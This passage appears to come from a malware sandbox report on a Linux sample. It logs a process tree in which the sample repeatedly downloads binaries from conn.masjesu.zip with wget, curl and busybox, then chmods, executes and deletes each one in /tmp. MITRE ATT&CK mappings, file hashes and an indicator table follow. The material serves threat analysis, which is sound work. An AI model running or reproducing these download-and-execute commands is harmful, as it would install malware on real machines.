  rm SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  PID:976
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:980
- /bin/chmod
  chmod 777 pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  ./pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  PID:983
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - System Network Configuration Discovery
  PID:984
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:985
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - System Network Configuration Discovery
  PID:987
- /bin/chmod
  chmod 777 nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  ./nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  PID:990
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  PID:991
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  ./slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  PID:997
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:998
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:999
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:1001
- /bin/chmod
  chmod 777 JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - File and Directory Permissions Modification
  PID:1002
- /tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  ./JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Executes dropped EXE
  PID:1003
- /bin/rm
  rm JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:1004
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:1005
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1006
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /bin/chmod
  chmod 777 QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  ./QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Executes dropped EXE
  PID:1010
- /bin/rm
  rm QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:1011
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1013
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /bin/chmod
  chmod 777 aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - File and Directory Permissions Modification
  PID:1016
- /tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  ./aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Executes dropped EXE
  PID:1017
- /bin/rm
  rm aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  PID:1018

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ

Path /tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	795	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	816	PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	839	pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	846	SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	856	JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	863	QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	870	aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	877	pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	884	nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	891	slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	898	xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	905	L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	912	8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	919	9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	926	L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	933	8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	940	9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	947	xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	954	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	961	PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	968	pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	975	SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	982	pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	989	nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	996	slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	1003	JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	1010	QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	1017	aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT